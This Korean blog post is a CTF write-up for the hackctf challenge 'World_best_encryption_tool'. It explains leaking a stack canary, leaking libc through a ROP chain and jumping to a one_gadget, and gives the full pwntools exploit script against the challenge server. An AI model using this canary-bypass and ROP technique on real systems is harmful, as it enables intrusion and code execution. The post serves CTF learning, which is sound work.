checksec를 이용해서 봤을때 카나리가 있기때문에 그것을 고려해서 익스를 짜야 된다. 따라서
1.카나리 릭
2. 다시 1번 입력을 받아서 ROP로 libc 릭
3. one_gadget 이용후 익스
카나리는 하위 1바이트가 무조건 \x00 이므로 릭을 하기 위해서는 카나리를 딱 1바이트만 덮어서 \x00을 덮어버린다. 그 후에 출력되는 것을 릭 완료다.
저기서 mov [rbp + var_8]이 카나리 부분이다. 이 부분을 릭하려면
저 strncpy가 있기 때문에 (0x40-8)만큼 문자를 입력하고 그 뒤가 바로 카나리 부분이므로 딱 1문자만 입력하게 되면 카나리 부분까지가 출력되기 때문이다. 왜냐하면 일반적으로 출력을 할 때 널문자(\x00)를 만나기 전까지 출력하기 때문인데 우리가 카나리 부분의 \x00을 덮었기 때문이다.
일케 카나리를 릭한 뒤는 간단하다. 카나리를 신경쓰면서 payload를 작성해주어서 보내면 된다.
from pwn import *
#p = process('./World_best_encryption_tool')
p = remote('ctf.j0n9hyun.xyz', 3027)
e = ELF('./World_best_encryption_tool')
context.log_level = "debug"
pause()
main = 0x400727
p_r = 0x00000000004008e3
#Canary
payload = 'a' * (0x40-8) + 'b'
p.sendline(payload)
p.recvuntil('b')
canary = u64(p.recv(7).rjust(8,'\x00'))
log.info('canary : ' + hex(canary))
p.recv()
p.sendline('Yes')
#libc
payload = 'a' * (0x40 - 8) + p64(canary)
payload += 'a' * (0x80- len(payload) - 8) + p64(canary) + 'b' * 8
payload += p64(p_r)
payload += p64(e.got['setvbuf'])
payload += p64(e.plt['puts'])
payload += p64(main)
p.sendline(payload)
p.sendline('No')
p.recvuntil('o)\n')
p.recvuntil('o)\n')
libc = u64(p.recv(6).ljust(8,'\x00')) - 0x000000000006fe70
log.info('libc : ' + hex(libc))
#exploit
payload = 'a' * (0x40 - 8) + p64(canary)
payload += 'a' * (0x80- len(payload) - 8) + p64(canary) + 'b' * 8
payload += p64(libc + 0x45216)
p.sendline(payload)
p.recv()
p.sendline('No')
p.interactive()
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf] babyfsb (0) | 2019.08.25 |
---|---|
[hackctf] 풍수지리설 (0) | 2019.08.20 |
[hackctf]register (0) | 2019.07.21 |
[hackctf]rtc (0) | 2019.07.19 |
[hackctf]pwning (0) | 2019.07.18 |